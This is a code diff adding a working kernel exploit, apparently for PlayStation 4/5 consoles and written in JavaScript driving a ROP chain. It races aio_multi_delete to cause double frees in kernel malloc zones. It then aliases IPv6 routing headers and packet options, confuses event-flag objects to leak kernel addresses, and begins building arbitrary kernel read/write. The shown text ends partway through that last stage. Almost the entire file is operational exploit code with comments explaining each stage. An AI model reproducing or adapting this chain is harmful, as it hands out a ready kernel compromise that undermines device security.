+// the address is NULL and will return EFAULT. this dummy buffer will serve as
+// the default argument so users don't need to specify one
+const _aio_errors = new View4(max_aio_ids);
+const _aio_errors_p = _aio_errors.addr;
+
+// int
+// aio_multi_delete(
+// SceKernelAioSubmitId ids[],
+// u_int num_ids,
+// int sce_errors[]
+// );
+function aio_multi_delete(ids, num_ids, sce_errs=_aio_errors_p) {
+ sysi('aio_multi_delete', ids, num_ids, sce_errs);
+}
+
+// int
+// aio_multi_poll(
+// SceKernelAioSubmitId ids[],
+// u_int num_ids,
+// int states[]
+// );
+function aio_multi_poll(ids, num_ids, sce_errs=_aio_errors_p) {
+ sysi('aio_multi_poll', ids, num_ids, sce_errs);
+}
+
+// int
+// aio_multi_cancel(
+// SceKernelAioSubmitId ids[],
+// u_int num_ids,
+// int states[]
+// );
+function aio_multi_cancel(ids, num_ids, sce_errs=_aio_errors_p) {
+ sysi('aio_multi_cancel', ids, num_ids, sce_errs);
+}
+
+// // wait for all (AND) or atleast one (OR) to finish
+// // DEFAULT is the same as AND
+// #define SCE_KERNEL_AIO_WAIT_DEFAULT 0x00
+// #define SCE_KERNEL_AIO_WAIT_AND 0x01
+// #define SCE_KERNEL_AIO_WAIT_OR 0x02
+//
+// int
+// aio_multi_wait(
+// SceKernelAioSubmitId ids[],
+// u_int num_ids,
+// int states[],
+// // SCE_KERNEL_AIO_WAIT_*
+// uint32_t mode,
+// useconds_t *timeout
+// );
+function aio_multi_wait(ids, num_ids, sce_errs=_aio_errors_p) {
+ sysi('aio_multi_wait', ids, num_ids, sce_errs, 1, 0);
+}
+
+function make_reqs1(num_reqs) {
+ const reqs1 = new Buffer(0x28 * num_reqs);
+ for (let i = 0; i < num_reqs; i++) {
+ // .fd = -1
+ reqs1.write32(0x20 + i*0x28, -1);
+ }
+ return reqs1;
+}
+
+function spray_aio(
+ loops=1, reqs1_p, num_reqs, ids_p, multi=true, cmd=AIO_CMD_READ,
+) {
+ const step = 4 * (multi ? num_reqs : 1);
+ cmd |= multi ? AIO_CMD_FLAG_MULTI : 0;
+ for (let i = 0, idx = 0; i < loops; i++) {
+ aio_submit_cmd(cmd, reqs1_p, num_reqs, ids_p.add(idx));
+ idx += step;
+ }
+}
+
+function poll_aio(ids, states, num_ids=ids.length) {
+ if (states !== undefined) {
+ states = states.addr;
+ }
+ aio_multi_poll(ids.addr, num_ids, states);
+}
+
+function cancel_aios(ids_p, num_ids) {
+ const len = max_aio_ids;
+ const rem = num_ids % len;
+ const num_batches = (num_ids - rem) / len;
+ for (let bi = 0; bi < num_batches; bi++) {
+ aio_multi_cancel(ids_p.add((bi << 2) * len), len);
+ }
+ if (rem) {
+ aio_multi_cancel(ids_p.add((num_batches << 2) * len), rem);
+ }
+}
+
+function free_aios(ids_p, num_ids) {
+ const len = max_aio_ids;
+ const rem = num_ids % len;
+ const num_batches = (num_ids - rem) / len;
+ for (let bi = 0; bi < num_batches; bi++) {
+ const addr = ids_p.add((bi << 2) * len);
+ aio_multi_cancel(addr, len);
+ aio_multi_poll(addr, len);
+ aio_multi_delete(addr, len);
+ }
+ if (rem) {
+ const addr = ids_p.add((num_batches << 2) * len);
+ aio_multi_cancel(addr, len);
+ aio_multi_poll(addr, len);
+ aio_multi_delete(addr, len);
+ }
+}
+
+function free_aios2(ids_p, num_ids) {
+ const len = max_aio_ids;
+ const rem = num_ids % len;
+ const num_batches = (num_ids - rem) / len;
+ for (let bi = 0; bi < num_batches; bi++) {
+ const addr = ids_p.add((bi << 2) * len);
+ aio_multi_poll(addr, len);
+ aio_multi_delete(addr, len);
+ }
+ if (rem) {
+ const addr = ids_p.add((num_batches << 2) * len);
+ aio_multi_poll(addr, len);
+ aio_multi_delete(addr, len);
+ }
+}
+
+function get_our_affinity(mask) {
+ sysi(
+ 'cpuset_getaffinity',
+ CPU_LEVEL_WHICH,
+ CPU_WHICH_TID,
+ -1,
+ 8,
+ mask.addr,
+ );
+}
+
+function set_our_affinity(mask) {
+ sysi(
+ 'cpuset_setaffinity',
+ CPU_LEVEL_WHICH,
+ CPU_WHICH_TID,
+ -1,
+ 8,
+ mask.addr,
+ );
+}
+
+function close(fd) {
+ sysi('close', fd);
+}
+
+function new_socket() {
+ return sysi('socket', AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
+}
+
+function new_tcp_socket() {
+ return sysi('socket', AF_INET, SOCK_STREAM, 0);
+}
+
+function gsockopt(sd, level, optname, optval, optlen) {
+ const size = new Word(optval.size);
+ if (optlen !== undefined) {
+ size[0] = optlen;
+ }
+
+ sysi('getsockopt', sd, level, optname, optval.addr, size.addr);
+ return size[0];
+}
+
+function setsockopt(sd, level, optname, optval, optlen) {
+ sysi('setsockopt', sd, level, optname, optval, optlen);
+}
+
+function ssockopt(sd, level, optname, optval, optlen) {
+ if (optlen === undefined) {
+ optlen = optval.size;
+ }
+
+ const addr = optval.addr;
+ setsockopt(sd, level, optname, addr, optlen);
+}
+
+function get_rthdr(sd, buf, len) {
+ return gsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
+}
+
+function set_rthdr(sd, buf, len) {
+ ssockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
+}
+
+function free_rthdrs(sds) {
+ for (const sd of sds) {
+ setsockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, 0, 0);
+ }
+}
+
+function build_rthdr(buf, size) {
+ const len = ((size >> 3) - 1) & ~1;
+ size = (len + 1) << 3;
+
+ buf[0] = 0;
+ buf[1] = len;
+ buf[2] = 0;
+ buf[3] = len >> 1;
+
+ return size;
+}
+
+function spawn_thread(thread) {
+ const ctx = new Buffer(context_size);
+ const pthread = new Pointer();
+ pthread.ctx = ctx;
+ // pivot the pthread's stack pointer to our stack
+ ctx.write64(0x38, thread.stack_addr);
+ ctx.write64(0x80, thread.get_gadget('ret'));
+
+ call_nze(
+ 'pthread_create',
+ pthread.addr,
+ 0,
+ chain.get_gadget('setcontext'),
+ ctx.addr,
+ );
+
+ return pthread;
+}
+
+// EXPLOIT STAGES IMPLEMENTATION
+
+// FUNCTIONS FOR STAGE: 0x80 MALLOC ZONE DOUBLE FREE
+
+function make_aliased_rthdrs(sds) {
+ const marker_offset = 4;
+ const size = 0x80;
+ const buf = new Buffer(size);
+ const rsize = build_rthdr(buf, size);
+
+ for (let loop = 0; loop < num_alias; loop++) {
+ for (let i = 0; i < num_sds; i++) {
+ buf.write32(marker_offset, i);
+ set_rthdr(sds[i], buf, rsize);
+ }
+
+ for (let i = 0; i < sds.length; i++) {
+ get_rthdr(sds[i], buf);
+ const marker = buf.read32(marker_offset);
+ if (marker !== i) {
+ log(`aliased rthdrs at attempt: ${loop}`);
+ const pair = [sds[i], sds[marker]];
+ log(`found pair: ${pair}`);
+ sds.splice(marker, 1);
+ sds.splice(i, 1);
+ free_rthdrs(sds);
+ sds.push(new_socket(), new_socket());
+ return pair;
+ }
+ }
+ }
+ die(`failed to make aliased rthdrs. size: ${hex(size)}`);
+}
+
+// summary of the bug at aio_multi_delete():
+//
+// void
+// free_queue_entry(struct aio_entry *reqs2)
+// {
+// if (reqs2->ar2_spinfo != NULL) {
+// printf(
+// "[0]%s() line=%d Warning !! split info is here\n",
+// __func__,
+// __LINE__
+// );
+// }
+// if (reqs2->ar2_file != NULL) {
+// // we can potentially delay .fo_close()
+// fdrop(reqs2->ar2_file, curthread);
+// reqs2->ar2_file = NULL;
+// }
+// free(reqs2, M_AIO_REQS2);
+// }
+//
+// int
+// _aio_multi_delete(
+// struct thread *td,
+// SceKernelAioSubmitId ids[],
+// u_int num_ids,
+// int sce_errors[])
+// {
+// // ...
+// struct aio_object *obj = id_rlock(id_tbl, id, 0x160, id_entry);
+// // ...
+// u_int rem_ids = obj->ao_rem_ids;
+// if (rem_ids != 1) {
+// // BUG: wlock not acquired on this path
+// obj->ao_rem_ids = --rem_ids;
+// // ...
+// free_queue_entry(obj->ao_entries[req_idx]);
+// // the race can crash because of a NULL dereference since this path
+// // doesn't check if the array slot is NULL so we delay
+// // free_queue_entry()
+// obj->ao_entries[req_idx] = NULL;
+// } else {
+// // ...
+// }
+// // ...
+// }
+function race_one(request_addr, tcp_sd, barrier, racer, sds) {
+ const sce_errs = new View4([-1, -1]);
+ const thr_mask = new Word(1 << main_core);
+
+ const thr = racer;
+ thr.push_syscall(
+ 'cpuset_setaffinity',
+ CPU_LEVEL_WHICH,
+ CPU_WHICH_TID,
+ -1,
+ 8,
+ thr_mask.addr,
+ );
+ thr.push_syscall('rtprio_thread', RTP_SET, 0, rtprio.addr);
+ thr.push_gadget('pop rax; ret');
+ thr.push_value(1);
+ thr.push_get_retval();
+ thr.push_call('pthread_barrier_wait', barrier.addr);
+ thr.push_syscall(
+ 'aio_multi_delete',
+ request_addr,
+ 1,
+ sce_errs.addr_at(1),
+ );
+ thr.push_call('pthread_exit', 0);
+
+ const pthr = spawn_thread(thr);
+ const thr_tid = pthr.read32(0);
+
+ // pthread barrier implementation:
+ //
+ // given a barrier that needs N threads for it to be unlocked, a thread
+ // will sleep if it waits on the barrier and N - 1 threads havent't arrived
+ // before
+ //
+ // if there were already N - 1 threads then that thread (last waiter) won't
+ // sleep and it will send out a wake-up call to the waiting threads
+ //
+ // since the ps4's cores only have 1 hardware thread each, we can pin 2
+ // threads on the same core and control the interleaving of their
+ // executions via controlled context switches
+
+ // wait for the worker to enter the barrier and sleep
+ while (thr.retval_int === 0) {
+ sys_void('sched_yield');
+ }
+
+ // enter the barrier as the last waiter
+ chain.push_call('pthread_barrier_wait', barrier.addr);
+ // yield and hope the scheduler runs the worker next. the worker will then
+ // sleep at soclose() and hopefully we run next
+ chain.push_syscall('sched_yield');
+ // if we get here and the worker hasn't been reran then we can delay the
+ // worker's execution of soclose() indefinitely
+ chain.push_syscall('thr_suspend_ucontext', thr_tid);
+ chain.push_get_retval();
+ chain.push_get_errno();
+ chain.push_end();
+ chain.run();
+ chain.reset();
+
+ const main_res = chain.retval_int;
+ log(`suspend ${thr_tid}: ${main_res} errno: ${chain.errno}`);
+
+ if (main_res === -1) {
+ call_nze('pthread_join', pthr, 0);
+ log();
+ return null;
+ }
+
+ let won_race = false;
+ try {
+ const poll_err = new View4(1);
+ aio_multi_poll(request_addr, 1, poll_err.addr);
+ log(`poll: ${hex(poll_err[0])}`);
+
+ const info_buf = new View1(size_tcp_info);
+ const info_size = gsockopt(tcp_sd, IPPROTO_TCP, TCP_INFO, info_buf);
+ log(`info size: ${hex(info_size)}`);
+
+ if (info_size !== size_tcp_info) {
+ die(`info size isn't ${size_tcp_info}: ${info_size}`);
+ }
+
+ const tcp_state = info_buf[0];
+ log(`tcp_state: ${tcp_state}`);
+
+ const SCE_KERNEL_ERROR_ESRCH = 0x80020003;
+ if (poll_err[0] !== SCE_KERNEL_ERROR_ESRCH
+ && tcp_state !== TCPS_ESTABLISHED
+ ) {
+ // PANIC: double free on the 0x80 malloc zone. important kernel
+ // data may alias
+ aio_multi_delete(request_addr, 1, sce_errs.addr);
+ won_race = true;
+ }
+ } finally {
+ log('resume thread\n');
+ sysi('thr_resume_ucontext', thr_tid);
+ call_nze('pthread_join', pthr, 0);
+ }
+
+ if (won_race) {
+ log(`race errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`);
+ // if the code has no bugs then this isn't possible but we keep the
+ // check for easier debugging
+ if (sce_errs[0] !== sce_errs[1]) {
+ log('ERROR: bad won_race');
+ die('ERROR: bad won_race');
+ }
+ // RESTORE: double freed memory has been reclaimed with harmless data
+ // PANIC: 0x80 malloc zone pointers aliased
+ return make_aliased_rthdrs(sds);
+ }
+
+ return null;
+}
+
+function double_free_reqs2(sds) {
+ function swap_bytes(x, byte_length) {
+ let res = 0;
+ for (let i = 0; i < byte_length; i++) {
+ res |= ((x >> 8 * i) & 0xff) << 8 * (byte_length - i - 1);
+ }
+
+ return res >>> 0;
+ }
+
+ function htons(x) {
+ return swap_bytes(x, 2);
+ }
+
+ function htonl(x) {
+ return swap_bytes(x, 4);
+ }
+
+ const server_addr = new Buffer(16);
+ // sockaddr_in.sin_family
+ server_addr[1] = AF_INET;
+ // sockaddr_in.sin_port
+ server_addr.write16(2, htons(5050));
+ // sockaddr_in.sin_addr = 127.0.0.1
+ server_addr.write32(4, htonl(0x7f000001));
+
+ const racer = new Chain();
+ const barrier = new Long();
+ call_nze('pthread_barrier_init', barrier.addr, 0, 2);
+
+ const num_reqs = 3;
+ const which_req = num_reqs - 1;
+ const reqs1 = make_reqs1(num_reqs);
+ const reqs1_p = reqs1.addr;
+ const aio_ids = new View4(num_reqs);
+ const aio_ids_p = aio_ids.addr;
+ const req_addr = aio_ids.addr_at(which_req);
+ const cmd = AIO_CMD_MULTI_READ;
+
+ const sd_listen = new_tcp_socket();
+ ssockopt(sd_listen, SOL_SOCKET, SO_REUSEADDR, new Word(1));
+
+ sysi('bind', sd_listen, server_addr.addr, server_addr.size);
+ sysi('listen', sd_listen, 1);
+
+ for (let i = 0; i < num_races; i++) {
+ const sd_client = new_tcp_socket();
+ sysi('connect', sd_client, server_addr.addr, server_addr.size);
+
+ const sd_conn = sysi('accept', sd_listen, 0, 0);
+ // force soclose() to sleep
+ ssockopt(sd_client, SOL_SOCKET, SO_LINGER, View4.of(1, 1));
+ reqs1.write32(0x20 + which_req*0x28, sd_client);
+
+ aio_submit_cmd(cmd, reqs1_p, num_reqs, aio_ids_p);
+ aio_multi_cancel(aio_ids_p, num_reqs);
+ aio_multi_poll(aio_ids_p, num_reqs);
+
+ // drop the reference so that aio_multi_delete() will trigger _fdrop()
+ close(sd_client);
+
+ const res = race_one(req_addr, sd_conn, barrier, racer, sds);
+ racer.reset();
+
+ // MEMLEAK: if we won the race, aio_obj.ao_num_reqs got decremented
+ // twice. this will leave one request undeleted
+ aio_multi_delete(aio_ids_p, num_reqs);
+ close(sd_conn);
+
+ if (res !== null) {
+ log(`won race at attempt: ${i}`);
+ close(sd_listen);
+ call_nze('pthread_barrier_destroy', barrier.addr);
+ return res;
+ }
+ }
+
+ die('failed aio double free');
+}
+
+// FUNCTIONS FOR STAGE: LEAK 0x100 MALLOC ZONE ADDRESS
+
+function new_evf(flags) {
+ const name = cstr('');
+ // int evf_create(char *name, uint32_t attributes, uint64_t flags)
+ return sysi('evf_create', name.addr, 0, flags);
+}
+
+function set_evf_flags(id, flags) {
+ sysi('evf_clear', id, 0);
+ sysi('evf_set', id, flags);
+}
+
+function free_evf(id) {
+ sysi('evf_delete', id);
+}
+
+function verify_reqs2(buf, offset) {
+ // reqs2.ar2_cmd
+ if (buf.read32(offset) !== AIO_CMD_WRITE) {
+ return false;
+ }
+
+ // heap addresses are prefixed with 0xffff_xxxx
+ // xxxx is randomized on boot
+ //
+ // heap_prefixes is a array of randomized prefix bits from a group of heap
+ // address candidates. if the candidates truly are from the heap, they must
+ // share a common prefix
+ const heap_prefixes = [];
+
+ // check if offsets 0x10 to 0x20 look like a kernel heap address
+ for (let i = 0x10; i <= 0x20; i += 8) {
+ if (buf.read16(offset + i + 6) !== 0xffff) {
+ return false;
+ }
+ heap_prefixes.push(buf.read16(offset + i + 4));
+ }
+
+ // check reqs2.ar2_result.state
+ // state is actually a 32-bit value but the allocated memory was
+ // initialized with zeros. all padding bytes must be 0 then
+ let state = buf.read32(offset + 0x38);
+ if (!(0 < state && state <= 4) || buf.read32(offset + 0x38 + 4) !== 0) {
+ return false;
+ }
+
+ // reqs2.ar2_file must be NULL since we passed a bad file descriptor to
+ // aio_submit_cmd()
+ if (!buf.read64(offset + 0x40).eq(0)) {
+ return false;
+ }
+
+ // check if offsets 0x48 to 0x50 look like a kernel address
+ for (let i = 0x48; i <= 0x50; i += 8) {
+ if (buf.read16(offset + i + 6) === 0xffff) {
+ // don't push kernel ELF addresses
+ if (buf.read16(offset + i + 4) !== 0xffff) {
+ heap_prefixes.push(buf.read16(offset + i + 4));
+ }
+ // offset 0x48 can be NULL
+ } else if (i === 0x50 || !buf.read64(offset + i).eq(0)) {
+ return false;
+ }
+ }
+
+ return heap_prefixes.every((e, i, a) => e === a[0]);
+}
+
+function leak_kernel_addrs(sd_pair) {
+ close(sd_pair[1]);
+ const sd = sd_pair[0];
+ const buf = new Buffer(0x80 * leak_len);
+
+ // type confuse a struct evf with a struct ip6_rthdr. the flags of the evf
+ // must be set to >= 0xf00 in order to fully leak the contents of the rthdr
+ log('confuse evf with rthdr');
+ let evf = null;
+ for (let i = 0; i < num_alias; i++) {
+ const evfs = [];
+ for (let i = 0; i < num_handles; i++) {
+ evfs.push(new_evf(0xf00 | i << 16));
+ }
+
+ get_rthdr(sd, buf, 0x80);
+ // for simplicity, we'll assume i < 2**16
+ const flags32 = buf.read32(0);
+ evf = evfs[flags32 >>> 16];
+
+ set_evf_flags(evf, flags32 | 1);
+ get_rthdr(sd, buf, 0x80);
+
+ if (buf.read32(0) === flags32 | 1) {
+ evfs.splice(flags32 >> 16, 1);
+ } else {
+ evf = null;
+ }
+
+ for (const evf of evfs) {
+ free_evf(evf);
+ }
+
+ if (evf !== null) {
+ log(`confused rthdr and evf at attempt: ${i}`);
+ break;
+ }
+ }
+
+ if (evf === null) {
+ die('failed to confuse evf and rthdr');
+ }
+
+ set_evf_flags(evf, 0xff << 8);
+ get_rthdr(sd, buf, 0x80);
+
+ // fields we use from evf (number before the field is the offset in hex):
+ // struct evf:
+ // 0 u64 flags
+ // 28 struct cv cv
+ // 38 TAILQ_HEAD(struct evf_waiter) waiters
+
+ // evf.cv.cv_description = "evf cv"
+ // string is located at the kernel's mapped ELF file
+ const kernel_addr = buf.read64(0x28);
+ log(`"evf cv" string addr: ${kernel_addr}`);
+ // because of TAILQ_INIT(), we have:
+ //
+ // evf.waiters.tqh_last == &evf.waiters.tqh_first
+ //
+ // we now know the address of the kernel buffer we are leaking
+ const kbuf_addr = buf.read64(0x40).sub(0x38);
+ log(`kernel buffer addr: ${kbuf_addr}`);
+
+ // 0x80 < num_elems * sizeof(SceKernelAioRWRequest) <= 0x100
+ // allocate reqs1 arrays at 0x100 malloc zone
+ const num_elems = 6;
+ // use reqs1 to fake a aio_info. set .ai_cred (offset 0x10) to offset 4 of
+ // the reqs2 so crfree(ai_cred) will harmlessly decrement the .ar2_ticket
+ // field
+ const ucred = kbuf_addr.add(4);
+
+ const leak_reqs = make_reqs1(num_elems);
+ const leak_reqs_p = leak_reqs.addr;
+ leak_reqs.write64(0x10, ucred);
+
+ const leak_ids_len = num_handles * num_elems;
+ const leak_ids = new View4(leak_ids_len);
+ const leak_ids_p = leak_ids.addr;
+
+ log('find aio_entry');
+ let reqs2_off = null;
+ loop: for (let i = 0; i < num_leaks; i++) {
+ get_rthdr(sd, buf);
+
+ spray_aio(
+ num_handles,
+ leak_reqs_p,
+ num_elems,
+ leak_ids_p,
+ true,
+ AIO_CMD_WRITE,
+ );
+
+ get_rthdr(sd, buf);
+ for (let off = 0x80; off < buf.length; off += 0x80) {
+ if (verify_reqs2(buf, off)) {
+ reqs2_off = off;
+ log(`found reqs2 at attempt: ${i}`);
+ break loop;
+ }
+ }
+
+ free_aios(leak_ids_p, leak_ids_len);
+ }
+ if (reqs2_off === null) {
+ die('could not leak a reqs2');
+ }
+ log(`reqs2 offset: ${hex(reqs2_off)}`);
+
+ get_rthdr(sd, buf);
+ const reqs2 = buf.slice(reqs2_off, reqs2_off + 0x80);
+ log('leaked aio_entry:');
+ hexdump(reqs2);
+
+ const reqs1_addr = new Long(reqs2.read64(0x10));
+ log(`reqs1_addr: ${reqs1_addr}`);
+ reqs1_addr.lo &= -0x100;
+ log(`reqs1_addr: ${reqs1_addr}`);
+
+ log('searching target_id');
+ let target_id = null;
+ let to_cancel_p = null;
+ let to_cancel_len = null;
+ for (let i = 0; i < leak_ids_len; i += num_elems) {
+ aio_multi_cancel(leak_ids_p.add(i << 2), num_elems);
+
+ get_rthdr(sd, buf);
+ const state = buf.read32(reqs2_off + 0x38);
+ if (state === AIO_STATE_ABORTED) {
+ log(`found target_id at batch: ${i / num_elems}`);
+
+ target_id = new Word(leak_ids[i]);
+ leak_ids[i] = 0;
+ log(`target_id: ${hex(target_id)}`);
+
+ const reqs2 = buf.slice(reqs2_off, reqs2_off + 0x80);
+ log('leaked aio_entry:');
+ hexdump(reqs2);
+
+ const start = i + num_elems;
+ to_cancel_p = leak_ids.addr_at(start);
+ to_cancel_len = leak_ids_len - start;
+ break;
+ }
+ }
+ if (target_id === null) {
+ die('target_id not found');
+ }
+
+ cancel_aios(to_cancel_p, to_cancel_len);
+ free_aios2(leak_ids_p, leak_ids_len);
+
+ return [reqs1_addr, kbuf_addr, kernel_addr, target_id, evf];
+}
+
+// FUNCTIONS FOR STAGE: 0x100 MALLOC ZONE DOUBLE FREE
+
+function make_aliased_pktopts(sds) {
+ const tclass = new Word();
+ for (let loop = 0; loop < num_alias; loop++) {
+ for (let i = 0; i < num_sds; i++) {
+ tclass[0] = i;
+ ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
+ }
+
+ for (let i = 0; i < sds.length; i++) {
+ gsockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
+ const marker = tclass[0];
+ if (marker !== i) {
+ log(`aliased pktopts at attempt: ${loop}`);
+ const pair = [sds[i], sds[marker]];
+ log(`found pair: ${pair}`);
+ sds.splice(marker, 1);
+ sds.splice(i, 1);
+ // add pktopts to the new sockets now while new allocs can't
+ // use the double freed memory
+ for (let i = 0; i < 2; i++) {
+ const sd = new_socket();
+ ssockopt(sd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
+ sds.push(sd);
+ }
+
+ return pair;
+ }
+ }
+
+ for (let i = 0; i < num_sds; i++) {
+ setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
+ }
+ }
+ die('failed to make aliased pktopts');
+}
+
+function double_free_reqs1(
+ reqs1_addr, kbuf_addr, target_id, evf, sd, sds,
+) {
+ const max_leak_len = (0xff + 1) << 3;
+ const buf = new Buffer(max_leak_len);
+
+ const num_elems = max_aio_ids;
+ const aio_reqs = make_reqs1(num_elems);
+ const aio_reqs_p = aio_reqs.addr;
+
+ const num_batches = 2;
+ const aio_ids_len = num_batches * num_elems;
+ const aio_ids = new View4(aio_ids_len);
+ const aio_ids_p = aio_ids.addr;
+
+ log('start overwrite rthdr with AIO queue entry loop');
+ let aio_not_found = true;
+ free_evf(evf);
+ for (let i = 0; i < num_clobbers; i++) {
+ spray_aio(num_batches, aio_reqs_p, num_elems, aio_ids_p);
+
+ if (get_rthdr(sd, buf) === 8 && buf.read32(0) === AIO_CMD_READ) {
+ log(`aliased at attempt: ${i}`);
+ aio_not_found = false;
+ cancel_aios(aio_ids_p, aio_ids_len);
+ break;
+ }
+
+ free_aios(aio_ids_p, aio_ids_len);
+ }
+ if (aio_not_found) {
+ die('failed to overwrite rthdr');
+ }
+
+ const reqs2 = new Buffer(0x80);
+ const rsize = build_rthdr(reqs2, reqs2.size);
+ // .ar2_ticket
+ reqs2.write32(4, 5);
+ // .ar2_info
+ reqs2.write64(0x18, reqs1_addr);
+ // craft a aio_batch using the end portion of the buffer
+ const reqs3_off = 0x28;
+ // .ar2_batch
+ reqs2.write64(0x20, kbuf_addr.add(reqs3_off));
+
+ // [.ar3_num_reqs, .ar3_reqs_left] aliases .ar2_spinfo
+ // safe since free_queue_entry() doesn't deref the pointer
+ reqs2.write32(reqs3_off, 1);
+ reqs2.write32(reqs3_off + 4, 0);
+ // [.ar3_state, .ar3_done] aliases .ar2_result.returnValue
+ reqs2.write32(reqs3_off + 8, AIO_STATE_COMPLETE);
+ reqs2[reqs3_off + 0xc] = 0;
+ // .ar3_lock aliases .ar2_qentry (rest of the buffer is padding)
+ // safe since the entry already got dequeued
+ //
+ // .ar3_lock.lock_object.lo_flags = (
+ // LO_SLEEPABLE | LO_UPGRADABLE
+ // | LO_RECURSABLE | LO_DUPOK | LO_WITNESS
+ // | 6 << LO_CLASSSHIFT
+ // | LO_INITIALIZED
+ // )
+ reqs2.write32(reqs3_off + 0x28, 0x67b0000);
+ // .ar3_lock.lk_lock = LK_UNLOCKED
+ reqs2.write64(reqs3_off + 0x38, 1);
+
+ const states = new View4(num_elems);
+ const states_p = states.addr;
+ const addr_cache = [aio_ids_p];
+ for (let i = 1; i < num_batches; i++) {
+ addr_cache.push(aio_ids_p.add((i * num_elems) << 2));
+ }
+
+ log('start overwrite AIO queue entry with rthdr loop');
+ let req_id = null;
+ close(sd);
+ sd = null;
+ loop: for (let i = 0; i < num_alias; i++) {
+ for (const sd of sds) {
+ set_rthdr(sd, reqs2, rsize);
+ }
+
+ for (let batch = 0; batch < addr_cache.length; batch++) {
+ states.fill(-1);
+ aio_multi_cancel(addr_cache[batch], num_elems, states_p);
+
+ const req_idx = states.indexOf(AIO_STATE_COMPLETE);
+ if (req_idx !== -1) {
+ log(`req_idx: ${req_idx}`);
+ log(`found req_id at batch: ${batch}`);
+ log(`states: ${[...states].map(e => hex(e))}`);
+ log(`states[${req_idx}]: ${hex(states[req_idx])}`);
+ log(`aliased at attempt: ${i}`);
+
+ const aio_idx = batch*num_elems + req_idx;
+ req_id = new Word(aio_ids[aio_idx]);
+ log(`req_id: ${hex(req_id)}`);
+ aio_ids[aio_idx] = 0;
+
+ // set .ar3_done to 1
+ poll_aio(req_id, states);
+ log(`states[${req_idx}]: ${hex(states[0])}`);
+ for (let i = 0; i < num_sds; i++) {
+ const sd2 = sds[i];
+ get_rthdr(sd2, reqs2);
+ const done = reqs2[reqs3_off + 0xc];
+ if (done) {
+ hexdump(reqs2);
+ sd = sd2;
+ sds.splice(i, 1);
+ free_rthdrs(sds);
+ sds.push(new_socket());
+ break;
+ }
+ }
+ if (sd === null) {
+ die("can't find sd that overwrote AIO queue entry");
+ }
+ log(`sd: ${sd}`);
+
+ break loop;
+ }
+ }
+ }
+ if (req_id === null) {
+ die('failed to overwrite AIO queue entry');
+ }
+ free_aios2(aio_ids_p, aio_ids_len);
+
+ // enable deletion of target_id
+ poll_aio(target_id, states);
+ log(`target's state: ${hex(states[0])}`);
+
+ const sce_errs = new View4([-1, -1]);
+ const target_ids = new View4([req_id, target_id]);
+ // PANIC: double free on the 0x100 malloc zone. important kernel data may
+ // alias
+ aio_multi_delete(target_ids.addr, 2, sce_errs.addr);
+
+ // we reclaim first since the sanity checking here is longer which makes it
+ // more likely that we have another process claim the memory
+ try {
+ // RESTORE: double freed memory has been reclaimed with harmless data
+ // PANIC: 0x100 malloc zone pointers aliased
+ const sd_pair = make_aliased_pktopts(sds);
+ return [sd_pair, sd];
+ } finally {
+ log(`delete errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`);
+
+ states[0] = -1;
+ states[1] = -1;
+ poll_aio(target_ids, states);
+ log(`target states: ${hex(states[0])}, ${hex(states[1])}`);
+
+ const SCE_KERNEL_ERROR_ESRCH = 0x80020003;
+ let success = true;
+ if (states[0] !== SCE_KERNEL_ERROR_ESRCH) {
+ log('ERROR: bad delete of corrupt AIO request');
+ success = false;
+ }
+ if (sce_errs[0] !== 0 || sce_errs[0] !== sce_errs[1]) {
+ log('ERROR: bad delete of ID pair');
+ success = false;
+ }
+
+ if (!success) {
+ die('ERROR: double free on a 0x100 malloc zone failed');
+ }
+ }
+}
+
+// FUNCTIONS FOR STAGE: MAKE ARBITRARY KERNEL READ/WRITE
+
+// k100_addr is double freed 0x100 malloc zone address
+// dirty_sd is the socket whose rthdr pointer is corrupt
+// kernel_addr is the address of the "evf cv" string
+function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
+ const psd = pktopts_sds[0];
+ const tclass = new Word();
+ const off_tclass = is_ps4 ? 0xb0 : 0xc0;
+
+ const pktopts = new Buffer(0x100);
+ const rsize = build_rthdr(pktopts, pktopts.size);
+ const pktinfo_p = k100_addr.add(0x10);
+ // pktopts.ip6po_pktinfo = &pktopts.ip6po_pktinfo
+ pktopts.write64(0x10, pktinfo_p);
+
+ log('overwrite main pktopts');
+ let reclaim_sd = null;
+ close(pktopts_sds[1]);
+ for (let i = 0; i < num_alias; i++) {
+ for (let i = 0; i < num_sds; i++) {
+ // if a socket doesn't have a pktopts, setting the rthdr will make
+ // one. the new pktopts might reuse the memory instead of the
+ // rthdr. make sure the sockets already have a pktopts before
+ pktopts.write32(off_tclass, 0x4141 | i << 16);
+ set_rthdr(sds[i], pktopts, rsize);
+ }
+
+ gsockopt(psd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
+ const marker = tclass[0];
+ if ((marker & 0xffff) === 0x4141) {
+ log(`found reclaim sd at attempt: ${i}`);
+ const idx = marker >>> 16;
+ reclaim_sd = sds[idx];
+ sds.splice(idx, 1);
+ break;
+ }
+ }
+ if (reclaim_sd === null) {
+ die('failed to overwrite main pktopts');
+ }
+
+ const pktinfo = new Buffer(0x14);
+ pktinfo.write64(0, pktinfo_p);
+ const nhop = new Word();
+ const nhop_p = nhop.addr;
+ const read_buf = new Buffer(8);
+ const read_buf_p = read_buf.addr;
+ function kread64(addr) {
+ const len = 8;
+ let offset = 0;
+ while (offset < len) {
+ // pktopts.ip6po_nhinfo = addr + offset
+ pktinfo.write64(8, addr.add(offset));
+ nhop[0] = len - offset;
+
+ ssockopt(psd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
+ sysi(
+ 'getsockopt',
+ psd, IPPROTO_IPV6, IPV6_NEXTHOP,
+ read_buf_p.add(offset), nhop_p,
+ );
+
+ const n = nhop[0];
+ if (n === 0) {
+ read_buf[offset] = 0;
+ offset += 1;
+ } else {
+ offset += n;
+ }
+ }
+ return read_buf.read64(0);
+ }
+
+ log(`kread64(&"evf cv"): ${kread64(kernel_addr)}`);
+ const kstr = jstr(read_buf);
